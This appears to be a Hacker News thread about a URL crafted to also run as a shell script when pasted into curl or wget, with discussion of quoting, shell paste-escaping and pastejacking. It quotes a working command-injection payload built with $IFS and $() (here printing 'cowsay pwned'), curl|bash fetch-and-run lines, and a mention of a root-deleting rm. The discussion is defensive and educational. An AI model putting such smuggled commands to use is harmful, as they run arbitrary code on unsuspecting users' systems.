8 ms·
URL is also a shell script that executes some malicious(?) code
- turtleman1338 4y agoI could only get it work with bash, on zsh it does not work.
- Calzifer 4y agoBecause zsh has usually the url-quote-magic feature enabled which automatically escapes all special characters typed or pasted if the current argument is identified as URL.
- jwilk 4y agoMost likely it escapes enough to prevent code execution, but last time I tried it didn't escape all special characters out of the box: https://news.ycombinator.com/item?id=29071196 https://news.ycombinator.com/item?id=29071196
- turtleman1338 4y ago$ also gets escaped automatically for me if pasted
- JoelMcCracken 4y agoI could imagine someone embedding something like this in a much larger URL, one that was full of many different characters, to make it look innocent.
- heinrich5991 4y agofish catches this. It automatically escapes the single quotes when I paste it after entering `curl '`.
- TekMol 4y agoThat is pretty bad. Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned. Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."
- thr0wnawaytod4y 4y agopasting things into your terminal was always a problem
- koolba 4y agoPasting directly into a terminal or even a script is one step removed from blindly running eval(…) with arbitrary user input. If you’re lucky it works. If you’re somewhat less lucky but still on the positive side, it doesn’t work with some syntax error that doesn’t corrupt anything. There’s no excuse for not reviewing what is being executed before actually running it.
- unhammer 4y agoAutomating might actually make it safer, my typical idiom is `while read -r url; do wget "$url"; done < ./urls` (or `tail -zf ./urls|while…` to make it an url downloader daemon =P)
- chriswarbo 4y agoReminder that copying text from a Web page is also vulnerable to "pastejacking", where the string going into the clipboard isn't the same as the user sees (e.g. adding a malicious prefix, made invisible with CSS)
- blueflow 4y agoYes, $() inside of double quotes is expanded. This is a documented and standardized feature of all shells derived from the bourne shell.
- habibur 4y agothe thing is, it gets executed when enclosed in single quote too. that's what worried me. as i had been quoting urls within single quotes in shell commands and had been feeling relatively safe -- till now. i noticed the single quote. know how it gets escaped from the quote. the point is : we that work on command line use single quote to enclose urls as parameter to curl/wget. and that's not safe if you don't char-by-char escape the url.
- blueflow 4y agoBecause you can exit the quoting any time with another single quote. This is literally how SQL injections worked 20 years ago.
- Calzifer 4y agoNo it is not. The single quote example is wrong because the evaluation part $(...) is unquoted. Take a closer look. The first single quote part ends after the first semicolon right before the $(
- deleted 4y ago[deleted]
- IshKebab 4y agoIt's not wrong, it's just demonstrating that slapping single quotes around a string is not sufficient to make it safe. You need to escape the string properly. Guess how many people do that.
- paisleyrob 4y agoThat's only because it's got single quotes contained within it.
- behringer 4y agoSounds like terminal software just needs a paste url option that sanitized before pasting.
- _flux 4y agoA careful person can use e.g. curl -- "$(xsel -o)" to deal with this. Bonus: with e.g. zsh you can press tab and see the expanded version.
- xani_ 4y agozsh auto-quoting on paste was enough to beat it
- t-3 4y agoClever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
- pbhjpbhj 4y agoI mean, it like dodgy to any user familiar with URLs surely? Wouldn't wget -qO - www.example.com/script | sh catch far more of the uninitiated?
- Spivak 4y agoPeople go nuts about curl | bash but then grab random packages off pip/gem/npm/brew/VimPlug/packages.el/VS Code without so much as a second look and they can all run arbitrary code too.
- skulk 4y agoIf you curl | bash from http, you may get MITM'd because you're not checking the checksum. Most modern package managers at least check that what was downloaded is indeed what the original developer intended, so it's slightly better.
- klabb3 4y agoLots of legit projects encourage this practice. Especially with quotes, it's a reasonable expectation that you're getting a literal. Conversely, it's unreasonable to expect that everyone can parse shell escape strings in their brains. Now this example wasn't exactly well camouflaged, but I'd not be surprised if you can make it much more innocent looking.
- jwilk 4y agoI'm pretty sure even the most tech-savvy users make this mistake from time to time. I certainly do. This happens often enough, there's an entry in youtube-dl FAQ about it: https://github.com/ytdl-org/youtube-dl#video-url-contains-an-ampersand-and-im-getting-some-strange-output-1-2839-or-v-is-not-recognized-as-an-internal-or-external-command https://github.com/ytdl-org/youtube-dl#video-url-contains-an... (They advice to add single quotes around the URL, which as you now know, is not necessarily sufficient.)
- deleted 4y ago[deleted]
- MilaM 4y agoiTerm2 has a 'Advanced Paste' dialog which allows you to escape special shell characters, among other things. You can invoke it with Opt-Cmd-V. I discovered this feature a couple of days ago and wondered then under what circumstances it might be useful. Now I know.
- floodle 4y agoAm I missing something, or is this basically "copy this into your terminal" followed by "oh look, it did something"?
- unixbane 4y agoAh yes, the legendary UN*X hacker who never pastes into his terminal.
- lucideer 4y agoEveryone pastes into their terminal, but you do have to be pretty naive to ever paste something blindly into your terminal (full depth of understanding of each mechanics isn't a requirement but basic understanding of high-level obvious components of the line being pasted should absolutely be). There is literally no way to secure against people being hacked if the scenario is a user blindly following instructions without looking at / thinking about them.
- unixbane 4y agoPlease tell me the specific way you check your stuff before pasting so I can tell you how it's either broken or you're the 0.001% user and nobody else does that. I've always just pasted into a text editor and recopied it from there (and even that may not be safe). On one hand, UN*X is not meant to have paste so you should just never use it. On the other hand, if you're using webshit you have to copy from it because there's no UN*X way to get at the data as the page has to be accessed in a proprietary way. On the other hand, I could just use a real OS that doesn't have deep reaching problems in the most basic things
- lucideer 4y ago(reply to sibling comment from unixbane which is [dead] for some reason:) > tell me the specific way you check your stuff before pasting so I can tell you how it's either broken or you're the 0.001% user and nobody else does that. I'm no 0.001% user, I'm not a shell expert and I can't catch everything but in the context of this particular post: - I know how string quoting in programming languages broadly works (no need to know if ' or " escapes or not - just know that if there's any quotes inside the string it deserves a closer look) - I know that $ in bash (& some other languages) precedes something dynamic (maybe variable substitution, maybe inline code, no need to know about stuff in any detail, just enough to be suspicious) - I know pipe chars in shells generally separate commands (no need to understand io redirection in any detail here) - I know that URLs tend to follow boring conventions - if it's not domain/alphanum/alphanum?alphanum=etc then it's suspect and needs further attention (URLs can contain many weird chars but normal ones tend not to). The above bullets are pretty basic imo - you don't need to be a bash wizard to grok that much. If you know these, you'd never run the one-liner shown in the OP. Extra: - if it's a one-liner crossing scroll boundaries, that's too long (excepting very long URLs maybe if they're super-simple) As a counter-example, here's the type of stuff most people copypaste into shells all the time: curl http://example.com/simple/path | bash That's interesting here for two reasons: 1. as an inline threat, it's clearly harmless - the URL has no unusual special chars or $ and the command is very short - it can be read & grokked at a glance. 2. as a general threat, this is very dangerous because (a) it's unencryped/MITM-able and (b) you may or may not trust the hosted script being downloaded and eval-ed on your machine. My overall point here is: there's plenty of valid & dangerous social engineering threats in your terminal; plainly obvious inline quoting problems ain't it.
- deleted 4y ago[deleted]
- cabirum 4y agoSomehow I thought there is something like "disable shell expansions" option or "raw strings mode" in Bash. Seems like I was wrong.
- tpoacher 4y agohavent checked, but otoh there are similar things. printf %q and ${var@Q} come to mind.
- yencabulator 4y agoSingle quote disables shell expansions. This input contains single quotes. I have yet to see a programming language with a "raw strings mode" that wouldn't end at the next suitable marker.
- merb 4y agofun fact: k8s uses this to always install the latest version: https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux https://kubernetes.io/docs/tasks/tools/install-kubectl-linux...
- iLoveOncall 4y ago
- tpoacher 4y agoI know this is HN, but never ever write this without explaining exactly what it does. The chances that that one guy who's never come across it will try it to see what it does is extremely low, but definitely non-zero.
- iLoveOncall 4y agoTo be fair I think modern versions of your favorite shell warn you when trying to run it, asking for confirmation even with the -f. (For that one guy: it deletes every file on your computer)
- jwilk 4y agoSUSv4 requires that "if an operand resolves to the root directory, rm shall write a diagnostic message to standard error and do nothing more with such operands": https://pubs.opengroup.org/onlinepubs/9699919799/utilities/rm.html https://pubs.opengroup.org/onlinepubs/9699919799/utilities/r... But last time I checked, busybox's rm happily removed everything. :-/
- pwinnski 4y agoAfter I wrapped it in quotes to workaround zsh safety mechanisms: % curl 'http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned' zsh: no such file or directory: perl \t\n zsh: no such file or directory: eval \t\n <!doctype html> <html> ...
- jwilk 4y agohttps://github.com/jwilk/url.sh/issues/2 https://github.com/jwilk/url.sh/issues/2
- out-of-ideas 4y agoanybody for a little heredoc? wonderful for times when your input contains messy characters url=$(cat <<'EOF' http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned EOF ) wget "${url}" Edit: trying to format